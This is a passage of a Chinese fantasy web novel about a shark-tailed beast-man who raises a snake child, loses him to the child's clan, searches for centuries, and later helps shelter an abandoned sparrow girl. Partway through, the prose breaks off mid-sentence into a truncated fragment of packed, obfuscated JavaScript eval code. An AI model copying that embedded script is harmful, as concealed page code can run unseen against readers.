小家伙似乎对江知烨的血液有着特殊的依赖,每天都需要喝一点。江知烨也不吝啬,反正只是一点点血,对他来说没什么大碍。神奇的是,在喝了江知烨的血之后,小家伙长得飞快。短短几天,就从巴掌大小长到了一尺来长,小脸蛋也圆润了不少,眼睛能睁得大大的,乌溜溜地转,会对着江知烨露出无齿的笑容。 他开始咿呀学语,虽然吐字不清,但偶尔会发出“哥哥”、“哥”的音,每当这时,江知烨原本平静的心湖就会泛起涟漪,一种陌生的、温暖的感觉在心底蔓延开来。 小家伙最喜欢的,就是江知烨的鲨鱼尾。每当江知烨去那片隐匿的湖泊泡澡时,小家伙就会兴奋地在岸边爬来爬去,伸着小手想要过去。江知烨便会把他抱进水里,让他趴在自己的鲨鱼尾上。 银蓝色的鲨鱼尾在水中轻轻摆动,小家伙趴在上面,咯咯地笑个不停,一双小手还会好奇地去摸那些光滑的尾鳍。江知烨看着小家伙开心的样子,脸上也会不自觉地露出笑容,那是在望潮镇都很少见的、发自内心的笑容。 49. 鳞波寂忆 日子在小家伙一天天的成长和江知烨细心的照料中悄然流逝。 南清的春天渐渐褪去,夏日的气息越来越浓,空气中弥漫着草木繁盛的味道。江晟洹依旧忙碌,先锋营的清剿行动也颇有成效,城边的乱贼被逐渐肃清,只是他回家的时间依旧很少,对儿子身边多了一个化形的小蛇精这件事,竟也只是在某次偶然撞见时,皱了皱眉,说了句“好好看着他,别惹事”,便再无多言,似乎早已默许了这个小家伙的存在。 小家伙在江知烨的喂养下,长得越发惹人喜爱。他已经能稳稳地坐住,甚至能扶着东西慢慢爬行,虽然下半身依旧是那条翠绿的蛇尾,但上半身已经和普通的幼童无异,皮肤白皙,五官精致,尤其是一双眼睛,像浸在水里的黑曜石,清澈又明亮,总是紧紧地追随着江知烨的身影。 他学会了说更多的话,虽然还是有些含糊,但“哥哥”已经叫得清晰无比,每当他脆生生地喊出“哥哥”时,江知烨的心都会软成一团。 小家伙对江知烨有着极强的依赖,几乎寸步不离。江知烨看书时,他会趴在旁边玩自己的尾巴;江知烨练字时,他会用小手抓住毛笔,弄得满手墨汁;江知烨睡觉,他就一定要窝在江知烨的怀里,仿佛那里是全世界最安全的地方。 随着小家伙的成长,他的一些属于蛇的本能也渐渐显露出来。比如他喜欢温暖干燥的地方,喜欢晒太阳,还有……喜欢用嘴巴探索世界。 这天,江知烨靠在床头看书,小家伙趴在他的胸口,正处于长牙的阶段,牙龈发痒,见什么都想咬一口。他先是咬了咬自己的小拳头,觉得不过瘾,便抬起头,盯上了江知烨露在衣领外的锁骨。 江知烨正看得入神,突然感觉胸口传来一阵轻微的刺痛。他低头一看,只见小家伙正用他那刚刚冒出一点点乳牙的小嘴,不轻不重地咬在他的锁骨上,一双眼睛还亮晶晶地看着他,像是在邀功。 “小家伙,别乱咬。”江知烨无奈地笑了笑,伸手想把他拉开。 但小家伙正咬得“津津有味”,哪里肯松口,反而用了点力气。江知烨吃痛,皱了皱眉,不过他也没真的生气,小家伙的毒囊没发育完全,也注不进毒素,但咬在皮肤上还是留下了两个浅浅的、对称的小牙印,渗出了一点点血丝。 “好了好了,别咬了,再咬就没血给你喝了。”江知烨半开玩笑地说。 小家伙似乎听懂了“血”这个字,这才松开了嘴,舔了舔自己的嘴唇,然后满足地窝回江知烨的怀里,蹭了蹭,很快就睡着了。 江知烨低头看着自己锁骨上那两个清晰的小牙印,手指轻轻拂过,那里还带着一丝麻痒的痛感。他看着那两个小小的印记,脑海里突然闪过一个念头。 几天后,江知烨找了个借口,独自出了趟府。他没有去那片湖泊,而是去了城中一个隐秘的角落,那里住着一个据说手艺很好的纹身师傅。 纹身师傅是个沉默的蜘蛛老者,看到江知烨指明要在锁骨处纹两颗小小的、颜色较深的痣时,只是抬眼看了他一下,便不再多问,拿出工具开始准备。 过程有些疼痛,但江知烨一声未吭,只是静静地看着铜镜里自己的倒影。当老者完成最后一笔,用干净的布擦去多余的颜料时,江知烨看到,在他左锁骨原本被小家伙咬出牙印的地方,赫然多了两颗并排的、深褐色的小痣,不仔细看,就像是天生的一般。 他伸手摸了摸那两颗痣,触感与周围的皮肤略有不同,带着一丝结痂的粗糙。 他不知道自己为什么要这么做,只是那天看到小家伙留下的牙印时,心里突然产生了一种莫名的恐慌,害怕这个突然出现在他生命里、已经占据了他全部心神的小家伙,有一天会像他的母亲一样,突然消失不见。 这两颗痣,像是一个无声的标记,一个只有他自己知道的秘密。他看着镜子里的自己,眼神复杂。他不想小家伙离开,一点也不想。 这种念头如此强烈,让他自己都有些惊讶。他一直以为自己习惯了孤独,习惯了沉默,可小家伙的出现,像一道光,照亮了他原本沉寂的世界,让他第一次体会到了牵挂和不舍的滋味。 回到府邸,小家伙似乎察觉到了江知烨身上的不同,一见到他就爬了过来,用小鼻子在他胸口嗅来嗅去,然后疑惑地抬起头,看着他。 江知烨笑了笑,将他抱起来,亲了亲他的小脸蛋:“怎么了?不认识哥哥了?” 小家伙摇摇头,伸出小手,想去摸江知烨锁骨上的那两颗痣。江知烨没有阻止,任由他的小手在上面轻轻抚摸。 “哥哥……这里……”小家伙奶声奶气地问。 “嗯,是哥哥的痣。”江知烨轻声回答,将小家伙紧紧搂在怀里,“以后,这里就是哥哥的标记,小家伙看到了,就不会找不到哥哥了,对不对?” 小家伙似懂非懂地点点头,然后把小脑袋埋进江知烨的怀里,蹭了蹭,很快又睡着了。 江知烨抱着他,走到窗边。窗外是江南夏日的景色,绿树成荫,蝉鸣声声。远处,似乎还能听到隐约的操练声,是父亲带领的先锋营在训练。 他低头看着怀里熟睡的小家伙,看着他安详的睡颜,看着他翠绿的蛇尾在睡梦中轻轻摆动。心中那份因纹身而产生的复杂情绪,渐渐被一种踏实的温暖所取代。 他不知道未来会怎样,不知道小家伙长大后会变成什么样子,也不知道父亲的平叛之路何时才能结束。但此刻,他怀里抱着这个小小的生命,感受着他均匀的呼吸和温热的身体,他知道,自己不再是那个在望潮镇独自看海的少年了。 他有了想要守护的人。 那两颗锁骨上的痣,是印记,是牵挂,更是他心底无声的誓言。他想陪着小家伙长大,就像父亲曾经陪着他一样。 可变故来得毫无征兆,像一场突然席卷江南的骤雨。 那日江知烨特意去了城中的集市,在一个卖饰品的摊位前徘徊许久。他看中了一条细巧的红绳,绳上系着一枚小巧的银铃铛,铃铛边缘刻着细密的水波纹,轻轻一晃便发出清脆悦耳的声响。他想着小家伙如今正是爱爬爱动的时候,把这铃铛系在他手腕上,既能做个标记,又能在他爬远时听到声音——自从小家伙学会用蛇尾快速滑行后,总爱躲在廊柱或假山后面跟他玩捉迷藏,好几次都让江知烨找得心惊肉跳。 他把红绳小心地揣在袖袋里,脚步轻快地往回走,带着几分难得的雀跃。他甚至在想,等小家伙戴上铃铛,会不会好奇地用小手指去拨弄,发出一连串银铃般的笑声。 然而,当他走进自家院落时,那份憧憬瞬间被冻结成冰。 院子里站满了人,乌泱泱的一片,少说也有十几个。他们的穿着打扮与南清城里的百姓截然不同,皆是深色劲装,面部被面罩遮挡,头顶带着竹笠。 而最让江知烨心头一紧的是,他们每个人的下半身,都不是人类的双腿,而是覆盖着细密翠绿鳞片的蛇尾——和小家伙的蛇尾一模一样,只是更加粗壮,色泽也更深沉。 父亲江晟洹站在人群前方,背对着他,肩膀绷得紧紧的,透着一股江知烨从未见过的僵硬。而人群的最中央,一个身形高大、面容威严的中年男人怀里,正抱着一个小小的身影。 是他的小家伙! 小家伙似乎被这么多陌生人吓到了,缩在那男人怀里,小脸上满是惊恐,眼睛死死地盯着江知烨,嘴里不停地喊着:“哥哥!哥哥!” “小家伙!”江知烨瞳孔骤缩,几乎是本能地冲了上去,“把他还给我!” 他想抢回小家伙,却被身旁两个蛇尾兽人上前一步,毫不客气地拦住了去路。他们身上散发出的压迫性气息,让江知烨瞬间明白,这些人绝非善类。 “江公子请留步。”为首的中年男人开口,声音低沉而威严,他低头看了看怀里挣扎的小家伙,眼神里带着一丝复杂的情绪,“这孩子,是我南疆柳家的三公子。当年他母妃生产时突遇变故,将蛋遗落在外,如今终于寻回,理当带回部落。” 柳家?三公子? 江知烨脑子里一片混乱,他死死地盯着那男人:“你们是谁?什么南疆柳家?他是我的小家伙!是我从湖边捡回来养大的!” “捡回来?”中年男人嘴角勾起一抹冷硬的弧度,“江公子此言差矣。我儿天当年是因意外流落。如今他血脉觉醒,我等作为亲族,自然要带他回家。” “回家?”江知烨怒极反笑,他指着那些人,声音因愤怒而颤抖,“你们把自己的孩子弄丢了,现在跑来说要带他回家?你们算什么父母!” 他看向父亲,希望能得到支持:“爹!你告诉他们,小家伙是我的!是我养大的!” 江晟洹缓缓转过身,脸上没有任何表情,只有眼底深处藏着一丝不易察觉的疲惫与无奈。他看着江知烨,声音低沉而沙哑:“知烨,退下。” “爹?”江知烨不敢相信自己的耳朵,“你让我退下?他们要把小家伙带走!” “柳家乃是江南望族,”江晟洹的声音里带着一种不容置疑的坚决,“其族长在此,我身为理尚府推官,自当遵从法度。三公子流落在外,如今亲族寻回,合情合理。” “合情合理?”江知烨只觉得一股寒气从脚底直冲天灵盖,“那我呢?我养了他这么久,他叫我哥哥,他依赖我,这些你们都看不到吗?!” 他再也无法压抑心中的怒火,猛地推开面前的蛇尾兽人,就要去抢小家伙:“把他还给我!” “放肆!”为首的男人眼神一厉,身旁的兽人立刻上前阻拦。江知烨自幼在海边长大,又跟着父亲学过些拳脚,此刻情急之下更是拼了命,竟然让他挣脱了几下。 就在这时,一只大手猛地抓住了他的后衣领,将他狠狠往后一拽。江知烨踉跄着回头,看到的是父亲铁青的脸。 “爹!你……” “啪——” 一声清脆的耳光响起,狠狠地扇在江知烨的脸上。他被打得偏过头去,脸颊立刻火辣辣地疼起来。从小到大,父亲从未打过他,哪怕是他调皮捣蛋,父亲也只是严厉地训斥几句。这一巴掌,不仅打在他的脸上,更打碎了他所有的期望。 “混账东西!”江晟洹的声音因愤怒而颤抖,他死死地按住江知烨的肩膀,让他动弹不得,“不得对柳家族长无礼!还不向族长道歉!” 江知烨被父亲按在原地,看着不远处被抱在怀里、哭得撕心裂肺的小家伙,看着他伸出小手拼命想要抓住自己的样子,听着他一声声凄厉的“哥哥”,心中像是被什么东西狠狠撕裂开来,鲜血淋漓。 他看着父亲,又看看那些冷漠的所谓的“家人”,再看看那个哭得快要窒息的小家伙,一股巨大的绝望和愤怒席卷了他。 “我不道歉……”他咬着牙,声音从牙缝里挤出来,带着血丝,“你们……都不是好人……” 为首的男人不再理会他,只是对江晟洹点了点头:“江推官深明大义,我等告辞。”说罢,抱着小家伙,在一众蛇尾兽人的簇拥下,转身离去。 小家伙的哭声越来越远,越来越微弱,最后彻底消失在院门之外。 江知烨僵在原地,父亲的手还按在他的肩膀上,但他已经感觉不到疼痛了。他只觉得整个世界都空了,那个曾经填满他所有温暖和牵挂的小家伙,就这么被人从他生命里硬生生夺走了,而他的父亲,竟然是帮凶。 那天之后,江知烨变了。 他不再去那片隐匿的湖泊,不再对着空荡荡的陶罐发呆。他变得更加沉默,沉默得像一块万年不化的寒冰。但在那沉默之下,是汹涌澎湃的狂躁和怒火。 他开始疯狂地练枪,父亲亲手教他的红缨枪,被他舞得虎虎生风,枪尖划破空气,发出凌厉的呼啸。他常常一练就是一整天,直到力竭倒下,汗水和着泥土浸湿衣衫。他会对着靶子发泄,想象那是抢走小家伙的柳家,想象那是懦弱的父亲,每一次刺出,都带着无尽的恨意和不甘。 他开始喝酒,从最初的一杯两杯,到后来的酩酊大醉。只有在酒精的麻痹下,他才能暂时忘记小家伙那哭着喊“哥哥”的样子,才能暂时压下胸口那撕心裂肺的疼痛。喝醉了,他就会变得暴躁,看谁都不顺眼,一言不合就动手。曾经那个沉默寡言的少年,成了南清城里人人避之不及的“疯子少爷”。 府里的下人都怕他,父亲也不再管他,更多是管不住,只是偶尔在深夜,江知烨醉倒在院子里时,会看到父亲站在廊下,远远地看着他,眼神复杂,却始终没有走近。 江知烨问过父亲,问南疆柳家在哪里,问小家伙怎么样了。但父亲总是沉默,要么就是厉声让他不要再问。久而久之,江知烨也不再问了,他把所有的力气都用在寻找上。 他甚至偷偷跑出南清,去过南疆,打听南疆柳家的消息。但南疆地域辽阔,山林密布,柳家如同隐在深山中的毒蛇,踪迹难寻。他遇到过危险,被野兽追过,被其他兽人部落驱赶过,甚至差点丢了性命,但他从未放弃。 一年,两年,十年,百年…… 时间在江知烨疯狂的寻找和无尽的等待中悄然流逝。兽人寿命悠长,二百年的时光,但也足以让沧海变成桑田,让少年变成男人。 江知烨的容貌变化不大,依旧是那张冷俊的脸,只是眼神越发深邃,也越发冰冷,仿佛凝结了几百年的风霜。 他依旧像年轻时那样狂躁地练枪打人,但也变得更加孤僻。他依旧喝酒,只是不再醉后发疯,而是独自一人,坐在湖边,或是屋顶,一杯接一杯地喝,直到意识模糊。 那片曾经带给他温暖和慰藉的湖泊,如今成了他唯一的寄托。他常常在深夜来到这里,褪去衣物,走进水里,任由双腿化作银蓝色的鲨鱼尾。冰冷的湖水包裹着他,让他稍微感觉到一丝平静。 某日,又是一个满月之夜。 江知烨拎着一坛烈酒,又来到了湖边。如今他四百岁了,可他没有找到任何关于小家伙的线索,就好像那个粉雕玉琢、喊着他“哥哥”的小生命,从来没有出现过一样,彻底消失在了世间。 酒精麻痹了他的神经,也放大了他心底的痛苦。他仰头灌下一大口酒,辛辣的液体灼烧着喉咙,却压不下心口的钝痛。他走进湖里,鲨鱼尾在水中无力地摆动着,带起一圈圈涟漪。 月光洒在湖面上,如同碎银。江知烨靠在当年那块熟悉的石头上,意识渐渐模糊。他看着水中自己的倒影,那张脸陌生又熟悉,眼中是化不开的疲惫和怅惘。 “小家伙……你到底在哪里……”他喃喃自语,声音 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少年的手轻轻碰了碰他的脸颊,然后顺着他的脖颈,滑到了他的锁骨处,停留在那两颗并排的、深褐色的小痣上。对方的指尖在痣上轻轻摩挲着,动作温柔得如同羽毛拂过。 江知烨的身体猛地一颤,一股电流般的感觉从锁骨处传遍全身。 这感觉……好熟悉…… 少年抬起头,看着他,眼中似乎有水光闪动。然后,他缓缓地靠近,将自己的蛇尾轻轻缠上了江知烨的鲨鱼尾。 冰凉的鳞片与微凉的尾鳍相贴,一种奇异的、久违的熟悉感瞬间击中了江知烨。他张了张嘴,似乎想说什么,却被少年眼中那复杂的情绪所淹没。 是委屈?是思念?还是……别的什么? 江知烨的意识彻底沉入了黑暗,在他失去意识前,最后记住的,是少年眼中那片仿佛蕴含了千年月光的温柔,和尾鳍上传来的、那熟悉的缠绕感。 ...... 隔天江知烨是被清晨的阳光晒醒的。 刺眼的光线透过芦苇的缝隙照在他脸上,带着夏日特有的灼热。他猛地睁开眼,映入眼帘的是一片茂密的芦苇丛,绿色的叶片在晨风中轻轻摇曳,发出沙沙的声响。 他躺在湖边的浅滩上,身上只穿着里衣,外衫和裤子散落在一旁的草丛里,沾满了露水和泥土。头痛欲裂,宿醉的后遗症让他眼前阵阵发黑,昨晚的记忆如同破碎的琉璃,模糊不清。 他撑着手臂坐起来,揉了揉发胀的太阳穴。昨晚……他又喝醉了,来到了湖边。 然后呢? 他努力回想,脑海里只有一些零碎的片段:冰冷的湖水,皎洁的月光,还有……一个模糊的身影? 他皱起眉,看向四周。湖水平静无波,倒映着蓝天白云,仿佛昨晚的一切只是他醉酒后的幻梦。没有那个长发的少年,没有那条翠绿的蛇尾,只有他自己,和这片熟悉的湖泊。 “又是梦……”江知烨自嘲地笑了笑,笑容里带着无尽的苦涩。 两百年了,这样的梦他做了太多次,每次都以为小家伙回来了,可每次醒来,都只剩下空荡荡的湖面和他自己。 他站起身,抖了抖身上的泥土,准备穿上衣服离开。就在这时,他看到了掉在草丛里的外衫。 那是一件深蓝色的绸缎外衫,是他昨晚穿的。此刻,外衫的前襟上,赫然有一小块醒目的污渍。 那是一块血渍。 颜色呈暗红色,形状有些像一朵小小的梅花,静静地晕染在深蓝色的布料上,显得格外突兀。 江知烨的心脏骤然一紧,他弯腰捡起外衫,手指颤抖着抚摸那块血渍。血渍已经干涸,触感粗糙,绝非幻觉。 昨晚……真的发生了什么? 他猛地想起昨晚那破碎的记忆片段——那个长发少年,那双黑曜石般的眼睛,还有他缠在自己鲨鱼尾上的翠绿蛇尾…… 难道不是梦? 他环顾四周,发现自己所在的这片芦苇丛,有一片明显被压倒的痕迹,芦苇秆歪歪斜斜地倒在地上,像是被什么东西压过或蹭过。 江知烨的呼吸变得急促起来,他顺着压倒的芦苇往前找,一直走到湖边。湖水清澈,他甚至能看到水下几株随波摇曳的水草。 没有人。 除了他自己,湖边空无一人。 但更震惊的时,本来长有健壮鲨鱼尾的后尾骨,此时空空如也。 他获得了真元! 面对这个突如其来地变故,江知烨甚至不知道该怎么办,自己什么都没干就获得了别人梦寐以求的东西。 不仅如此,那块血渍,那片倒了的芦苇,都在无声地告诉他,昨晚,确实有什么人在这里出现过。 是那个少年吗? 他是谁?为什么会出现在这里?又为什么会在他的外衫上留下血渍? 无数个问题在江知烨脑海里盘旋,让他原本就混乱的思绪更加杂乱。他低头看着自己的锁骨,那两颗深褐色的小痣安静地卧在那里,没有任何异常。 他想起昨晚少年的手指停留在这两颗痣上的触感,那温柔的、带着依恋的摩挲,如此清晰,仿佛还残留在皮肤上。 一种莫名的预感攫住了他,那感觉强烈而急促,像是心脏在胸腔里疯狂地跳动,告诉他,有什么事情正在发生,有什么人正在靠近。 他紧紧攥住手中的外衫,那块梅花状的血渍烫得他手心生疼。他抬起头,望向远处雾气氤氲的湖面,眼神中第一次褪去了麻木和冰冷,重新燃起了一丝微弱却坚定的光芒。 不管那少年是谁,不管昨晚发生了什么,这块血渍,就是一个线索。 这么多年他从未放弃过寻找。这一次,他有种感觉,这不是梦。 江知烨将外衫小心翼翼地叠好,揣在怀里,转身离开了湖边。他的脚步不再像来时那样踉跄,而是带着一种久违的、坚定的力量。 回到江府,已经是日上三竿。府邸依旧是那副模样,安静而空旷,仿佛时光从未在这里留下痕迹。 他将外衫收好,找了个隐蔽的盒子放进去,然后开始仔细回想昨晚的每一个细节。少年的长发,白皙的皮肤,翠绿的蛇尾,还有他眼中那复杂的情绪…… 翠绿的蛇尾…… 江知烨瞳孔一缩。这个颜色,让他不由自主地想起了小家伙。当年小家伙的蛇尾,就是这样的翠绿色,像最鲜嫩的竹叶。 可是,就算小家伙还活着,也应该长大了吧?会是昨晚那个少年的模样吗? 他摇了摇头,觉得自己有些异想天开。南疆柳家那样的地方,怎么会让小家伙流落到这里?又怎么会让他出现在自己面前? 但那块血渍,那熟悉的缠绕感,还有少年指尖停留在他锁骨痣上的触感……一切都太过巧合,巧合得让他无法将其归为单纯的梦境。 他又开始更加频繁地去那片湖泊,不再是深夜买醉,而是在每一个月圆之夜,静静地坐在湖边,观察着周围的一切,希望能再见到那个神秘的少年。 然而,少年就像从未出现过一样,消失在了湖光山色之间。湖边再也没有出现过陌生的身影,也没有留下任何痕迹,只有那块梅花状的血渍,静静地躺在盒子里,提醒着江知烨那晚并非幻觉。 50. 私生女? 南清的夏天总是来得铺张。蝉鸣像浸透了热油的弦,从卯时一直绷到酉时。 江知烨坐在江府前院的梧桐树下,手里摇着把竹骨纸面扇,扇面上是顾时夜瞎画的歪歪扭扭的荷花。他看着院门口那棵石榴树,果子还青着,却被日头晒得蔫蔫的,像极了此刻没精打采的自己。 “江大人!江大人!” 清脆的呼喊声由远及近,带着少年人特有的雀跃。江知烨抬眼,就看见顾时夜勾着顾夜白的脖子,两人像两只刚从水里捞出来的小兽,满头大汗地跑进来。顾时夜手里还攥着半块融化了一半的绿豆糕,嘴角沾着碎屑。 “又去哪儿疯了?”江知烨挑眉,扇子在掌心敲了敲,“看你们这一身汗,回头让妙儿看见又得唠叨。” 顾夜白挣脱哥哥的手,凑到江知烨身边。:“我们去西市看杂耍了!有个耍蛇的阔耳狐兽人,那蛇尾巴甩起来跟鞭子似的!” “还有卖糖画的!”顾时夜抢着说,把手里剩下的绿豆糕递过来,“给您留了半块,豆沙馅儿的。” 江知烨没接,嫌弃地挥挥手:“去去,先去冲个凉,一身汗味。” 兄弟俩做了个鬼脸,勾肩搭背地跑向偏院。院子里重归寂静,只有蝉鸣和偶尔吹过的、带着热气的风。江知烨的目光落在了东跨院的方向,那是方妙的房间。 说起来,方妙最近实在有些不对劲。 方妙是什么人?南清城里有名的“该溜子”,用安德鲁的话说,是“拴不住的风”。 她性子活泼得像只刚学会扑蝶的小猫,每天不把南清城的角角落落逛个遍,不把街头巷尾的小吃尝个遍,那是绝不会罢休的。可从半个月前开始,她就像被谁施了定身咒,天天窝在屋子里,连最爱的桂花糖糕都让人捎回来吃。 更奇怪的是,她不让任何人进她的房间。安德鲁也不行。 江知烨记得有一次安德鲁端着她爱吃的莲子羹想进去,刚到门口就被她堵了出来,还神神秘秘地说“里面在忙重要的事”,气得安德鲁在院子里转了三圈,最后只能无奈地坐在廊下喝茶。 “这丫头,到底在搞什么鬼?”江知烨喃喃自语,心里那点好奇像藤蔓一样滋长。他放下扇子,站起身。反正闲着也是闲着,不如去探探虚实。 他绕到东跨院,隔着月亮门就能听见里面传来窸窸窣窣的声音,像是有人在低声说话,又像是在摆弄什么东西。他放轻脚步,贴着墙根走到房门口。门虚掩着一条缝,里面光线有些暗。 江知烨屏住呼吸,悄悄往里看。 房间里很整洁,跟平时没什么两样,只是窗台上多了几个草编的小筐,里面似乎装着什么。方妙背对着门口,坐在床边,好像在跟谁说话。 “……乖乖啊,等会儿再吃,先把这个披上,别着凉了……”她的声音放得很柔,带着一种江知烨从未听过的、近乎母性的温柔。 江知烨心里咯噔一下。跟谁说话? 他犹豫了一下,轻轻推了推门。门“吱呀”一声开了条更大的缝。 方妙猛地回过头,看到门口的江知烨,脸上瞬间闪过一丝慌乱,像只被撞见偷腥的猫。“知……知烨?你怎么来了?”她说话有些结巴,下意识地往床边挪了挪,似乎想挡住什么。 “路过,进来看看。”江知烨装作随意地扫视房间,目光却落在了床上。 床上的被子鼓鼓囊囊的,像是团着什么东西。 方妙的反应更奇怪了,她快步走过来,想把江知烨往外推:“没什么好看的,我……我在收拾东西呢!你快去忙你的吧!” 她越是阻拦,江知烨的好奇心就越重。他绕过方妙,几步走到床边,伸手就把被子掀开了。 被子下面,果然躺着一个小孩。 那小孩看起来不过儿童的样子,睡得正熟,小脸儿白白净净的,眉眼清秀,一头柔软的棕发有些凌乱。可最让江知烨震惊的是,小孩的背后,紧紧贴着身体,长着一对小小的、羽毛稀疏的翅膀。那翅膀的形状本该是雀类的精巧模样,此刻却显得有些畸形,右翼的羽毛甚至有些扭曲,像是发育不良。 江知烨瞬间呆住了。 小孩?棕发?畸形的麻雀翅膀? 一个荒谬却又无比清晰的念头猛地窜进他的脑海——私生女?! 方妙和安德鲁是伴侣,这在府里是人尽皆知的事。可安德鲁是沉稳可靠的类型,方妙虽然活泼,但也不是不知分寸的人……难道……难道方妙在外面…… 江知烨只觉得一阵天旋地转,眼前发黑,差点没晕过去。他猛地转过头,看着脸色煞白的方妙,嘴唇哆嗦着,半天说不出话来:“你……你……这……这孩子是……” 方妙看着他震惊的表情,再看看床上熟睡的小孩,终于反应过来江知烨在想什么。 她脸“腾”地一下红了,又气又急,跺着脚喊道:“知烨!你想到哪里去了!这孩子不是我的!” “不是你的?”江知烨眉头紧锁,语气里带着一丝难以置信的痛楚,“那是谁的?方妙,你跟我说实话,安德鲁知道吗?” 就在这时,院门外传来脚步声,安德鲁端着一个食盘走了进来,食盘里放着一碗冰镇绿豆沙。他看到屋里的情景,先是一愣,随即目光落在床上的小孩和江知烨铁青的脸上,脸色瞬间沉了下来,眼神也变得有些阴郁。 “怎么回事?”安德鲁的声音低沉,带着一丝不易察觉的寒意。 院子里的梧桐树浓密的枝叶筛下斑驳的阳光,却驱不散空气中凝滞的尴尬。 江知烨、方妙、安德鲁,还有刚冲完凉跑出来的顾时夜、顾夜白,以及闻声而来的白鸽,都坐在前院的石桌旁。 顾时夜和顾夜白看看这个,又看看那个,察觉到气氛不对,乖乖地闭紧了嘴,只是小眼神儿在方妙和床上那个被暂时安置在客房的小孩之间来回打转。 方妙坐在石凳上,脸颊还是红的,刚才江知烨那“私生女”的猜测让她又羞又气,此刻还没完全缓过来。安德鲁坐在她身边,脸色依旧有些阴沉,虽然方妙刚才急切地否认了,但看着江知烨那痛心疾首的表情,还有床上那个来历不明的孩子,他心里总像压着一块石头。 江知烨深吸一口气,努力让自己的语气听起来平静一些。他看着方妙,严肃地说:“妙儿,我知道你性子活泼,喜欢玩闹,但有些事不能胡闹。你看你,什么都不缺,安德鲁对你又好,你……” “哎呀知烨!你别再说了!”方妙实在听不下去了,猛地站起来,跺着脚打断他,“我都说了那孩子不是我的!你怎么就是不信呢!” “不是你的,那是谁的?”江知烨追问,“你把她藏在房间里半个月,还不让人进,这像什么话?” 安德鲁终于开口了,声音带着一丝疲惫:“妙儿,你就跟我说实话吧,这孩子到底是怎么回事?” 方妙看着安德鲁阴沉的脸,终于忍不住了,眼圈一红,委屈地说:“什么跟什么呀!那孩子就是我捡的!” “捡的?”江知烨愣住了。 “对!就是捡的!”方妙没好气地说,“半个月前我去北市买糖炒栗子,路过城门口那片小树林,就看见她缩在草丛里,浑身是伤,背后那对翅膀还……还那样。我看她可怜巴巴的,问她话也不答,就知道哭,我这才把她带回来的!” 她越说越委屈,声音也带上了哭腔:“我看她翅膀畸形,怕被别人看见欺负她,才把她藏在屋里的!我天天给她上药,喂她吃东西,她现在才好点,能说几句话了,可还是不爱说话,胆子也小……” 安德鲁听到这里,紧绷的肩膀终于放松下来,脸上的阴云也散去了不少。他伸手轻轻拍了拍方妙的背,语气柔和了许多:“好了好了,别哭了,是我错怪你了。” 江知烨看着方妙委屈的样子,再想想她平时虽然调皮,但心地确实善良,刚才的那点疑虑顿时烟消云散,取而代之的是一阵尴尬和不好意思。他摸了摸鼻子,有些窘迫地说:“咳……那个……是我想岔了……对不起啊妙儿,我……” “哼!”方妙扭过头,不理他。 顾时夜一看气氛缓和了,立刻凑过来,好奇地问:“妙儿姐,那小家伙是什么兽人啊?他的翅膀怎么了?” “是麻雀族的兽人。”方妙吸了吸鼻子,解释道,“她说她一出生翅膀就这样,家里人嫌她是个废物,就把她扔了……”说到这里,她的声音又低了下去,带着一丝怜悯。 顾夜白睁大眼睛,气愤地说:“怎么能这样!太坏了!” 江知烨叹了口气,心里也是一阵唏嘘。 在这个世界,兽人的天赋往往与他们的兽形息息相关,一副健康的兽形是生存的根本。这小麻雀翅膀畸形,确实很难在野外生存。 安德鲁看着江知烨,无奈地笑了笑:“看来,我们府里这‘捡人’的传统,是要发扬光大了。” 江知烨一愣,随即反应过来。 安德鲁当年捡到流浪的方妙和无家可归的白鸽;而他自己又捡到了顾时夜和顾夜白这对双胞胎。现在,方妙又捡回了一个翅膀畸形的小麻雀。 “可不是嘛。”江知烨苦笑着摇摇头,“也不知道我们之间是不是真有什么‘法力’,专招这些无家可归的小家伙。” 方妙听到这里,终于忍不住“噗嗤”一声笑了出来,刚才的委屈也烟消云散了。她看着江知烨,哼了一声:“算你还有点自知之明!” “好了好了。”江知烨敲了敲桌子,“先去看看那小家伙醒了没,顺便问问他多大了,叫什么名字。” “他还没成年呢,”方妙说,“我问过了,她自己也不知道具体多大,只知道自己还没到成年的年纪。至于名字……她说她没有名字,家里人都叫他‘废物’。” 说到最后,方妙的声音又有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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安德鲁见状,往后退了一步,尽量让自己的表情看起来温和一些。他知道,像雀安这样受过伤害的孩子,最需要的就是安全感。 江知烨走到方妙身边,声音低沉而温和:“别怕,我们不会伤害你。我叫江知烨,她是方妙,是她把你带回来的。”他指了指方妙,又依次介绍,“这是安德鲁,顾时夜,顾夜白,还有白鸽。我们都是你的朋友。” 雀安看着他们,眼神里的戒备渐渐少了一些,多了一丝好奇。她张了张嘴,似乎想说什么,但又害怕地闭上了。 方妙拿出一块刚买的桂花糖糕,递到她面前,柔声说:“饿不饿?吃点东西吧,这个很好吃的。” 雀安的目光落在糖糕上,小嘴动了动,显然是饿了。但她还是有些犹豫,没有立刻去接。 顾时夜急性子,忍不住说:“吃吧吃吧!妙儿姐买的糖糕可好吃了!我都想吃呢!” 顾夜白也在一旁帮腔:“是啊是啊,吃了糖糕就不饿了!” 雀安看了看方妙温柔的眼神,终于鼓起勇气,伸出小手,小心翼翼地接过了糖糕。她没有立刻吃,而是先放在鼻子下闻了闻,然后才小口小口地吃起来。 看着她吃东西的样子,方妙脸上露出了欣慰的笑容。 安德鲁走到窗边,看着外面明媚的阳光,心里感慨万千。他想起了自己刚捡到白鸽时的情景,那时候他也是这样,充满了戒备和不安。是时间和耐心,让他渐渐融入了这个家,感受到了家的温暖。 他相信,雀安也会一样。 “雀安,”江知烨蹲下身,与他平视,“你以后就住在这里吧,好不好?” 雀安吃东西的动作顿了一下,抬起头,有些不敢置信地看着江知烨。 “这里有很多好吃的,”方妙接着说,“还有好玩的,顾时夜和顾夜白可以带你去玩,我和安德鲁还有知烨会照顾你。” 顾时夜拍着胸脯说:“对!谁敢欺负你,我揍他!” 顾夜白也跟着点头:“我也帮你!” 雀安看看这个,又看看那个,大眼睛里渐渐蓄满了泪水。她长这么大,从来没有人对她说过这样的话,从来没有人说要照顾她,要给她一个家。那些所谓的“家人”,只因为她翅膀畸形,就把她当成废物,丢弃在野外。 此刻,看着眼前这些陌生却又充满善意的人,感受着他们话语里的温暖,雀安再也忍不住了,“哇”的一声哭了出来。 